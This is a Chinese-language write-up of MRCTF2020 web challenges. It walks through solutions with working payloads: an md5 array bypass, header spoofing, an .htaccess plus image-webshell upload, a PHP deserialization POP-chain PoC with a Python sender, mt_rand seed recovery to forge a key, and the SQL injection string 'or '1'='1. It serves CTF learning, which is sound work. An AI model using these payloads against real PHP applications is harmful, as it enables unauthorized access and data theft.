Merak CTF2020 web

Ez_bypass

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}

第一步用到md5比较漏洞,当传入的是一个数组时,经过md5函数返回NULL。

第二步用到php弱类型,1234567 == 1234567/1,最终payload

在这里插入图片描述

PYWebsite

<script>

    function enc(code){
      hash = hex_md5(code);
      return hash;
    }
    function validate(){
      var code = document.getElementById("vcode").value;
      if (code != ""){
        if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
          alert("您通过了验证!");
          window.location = "./flag.php"
        }else{
          alert("你的授权码不正确!");
        }
      }else{
        alert("请输入授权码");
      }
      
    }

  </script>

这里的md5是不可破解的,直接跳到flag.php,提示购买者ip已记录,那么xff

x-forwarded-for:127.0.0.1

你传你🐎呢

这题比赛的时候fuzz,含php的全都被过滤了,能够上传的只有.htaccess、html、以及图片。

  • Content-Type:image/jpeg绕过MIME类型验证

  • .htaccess增加使用php解析的文件后缀.jpg

    AddType application/x-httpd-php .jpg
    
  • 写个一句话图片马传上去,菜刀连一下就行了

套娃

第一步


//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
!

在URL中GET请求当输入.或者(空格)或者_都会忽略,因此b_u_p_t,其实就是b u p t,正则的意思是必须要23333开头和结尾,但是值不能为23333,这个时候url的%0A为换行污染,可以绕过正则,且值不为23333。

http://041ffd2a-9df7-4736-ba94-c19f099a4232.node3.buuoj.cn/?b%20u%20p%20t=23333%0A

第二步

secrettw.php下有一段jsfuck,放到控制台跑一下得到post me Merak

随便post一个Merak=1,得到源代码

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

首先要伪造本地用户,xff被ban了可以用Client-IP代替

然后是要利用php://input传2333的值,最后逆向加密脚本

<?php 
function en_code($value){
    $result = '';
    for($i=0;$i<strlen($value);$i++){
        $result .= chr(ord($value[$i]) - $i*2);
    }
    $result = base64_encode($result);
    return $result;
}
echo en_code("flag.php");
?>

flag.php经过加密的值为ZmpdYSZmXGI=

最终burp发包如下:
在这里插入图片描述

EzPop

 <?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

反序列化魔术方法

__construct()//当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep()//在对象在被序列化之前运行
__wakeup()//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get()//获得一个类的成员变量时调用
__set()//设置一个类的成员变量时调用
__invoke()//调用函数的方式调用一个对象时的回应方法
__call()//当调用一个对象中的不能用的方法的时候就会执行这个函数

public、protected与private在序列化时的区别

protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。

pop链

如果想要读取flag.php文件,可以使用include方法

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

为了使用这个方法,必须激活__invoke()方法,也就是将一个对象当作函数调用。为了触发它,可以使用__get()方法,将p赋值为一个类

public function __get($key){
    $function = $this->p;
    return $function();
}

__get()方法,是当类访问类中的私有属性或不存在的属性时触发,为了调用__get()方法,可以利用toString()方法

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

当str赋值为一个其他类的时候,因为类中没有source属性,就会触发__get()方法。最后是触发__toString()方法,__toString()方法默认在__wakeup()方法触发时调用,如果将source赋值为一个类的时候,就会触发__wakeup()方法

POC

<?php
class Modifier
{
    protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show
{
    public $source;
    public $str;
}
class Test
{
    public $p;
}
$a = new Show();
$a->source=$a;
$a->str=new Test();
$a->str->p=new Modifier();
echo serialize($a);
?>

最后用python传值

import requests

url = 'http://fec60c93-1112-455e-ad28-60be4c276444.node3.buuoj.cn/?pop=O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"\0*\0var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}'
r = requests.get(url)

print(r.text)

也可以直接在url中把\0*\0替换成%00*%00

http://fec60c93-1112-455e-ad28-60be4c276444.node3.buuoj.cn/?pop=O:4:%22Show%22:2:{s:6:%22source%22;r:1;s:3:%22str%22;O:4:%22Test%22:1:{s:1:%22p%22;O:8:%22Modifier%22:1:{s:6:%22%00*%00var%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;}}}

base64解码得到

<?php
class Flag{
    private $flag= "flag{d57a102c-0ef2-4a94-8ff5-ec857c9aad49}";
}
echo "Help Me Find FLAG!";
?>

Ezaudit

拿ctfdict扫目录找到了www.zip,源码泄露

<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $Private_key = $_POST['Private_key'];
    if (($username == '') || ($password == '') ||($Private_key == '')) {
        // 若为空,视为未填写,提示错误,并3秒后返回登录界面
        header('refresh:2; url=login.html');
        echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
        exit;
}
    else if($Private_key != '*************' )
    {
        header('refresh:2; url=login.html');
        echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
        exit;
    }

    else{
        if($Private_key === '************'){
        $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
        }
    }
    }

} 
// genarate public_key 
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???

mt_rand() 使用 Mersenne Twister 算法返回随机整数。

Public_key已经给了,现在是要推出私钥

mt_rand()使用的是一个伪随机序列,可以根据它生成的信息推出原来的种子

str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2 = 'KVQP0LdJKRaV3n9D'
str3 = str1[::-1]
length = len(str2)
res = ''
for i in range(len(str2)):
	for j in range(len(str1)):
		if str2[i] == str1[j]:
			res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1)-1) + ' '
			break
print(res)

得到36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61

在php_mt_seed-4.0下还原seed1775196155

然后用这个种子结合题目给出的脚本生成Private_key

<?php
mt_srand(1775196155);
function public_key($length = 16) {
  $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  $public_key = '';
  for ( $i = 0; $i < $length; $i++ )
  $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
  return $public_key;
}

function private_key($length = 12) {
  $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  $private_key = '';
  for ( $i = 0; $i < $length; $i++ )
  $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
  return $private_key;
}
echo public_key();
echo "\n";
echo private_key();
?>

得到Private_key为:XuNhoueCDCGc

账号:crispr,密码:'or '1'='1

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章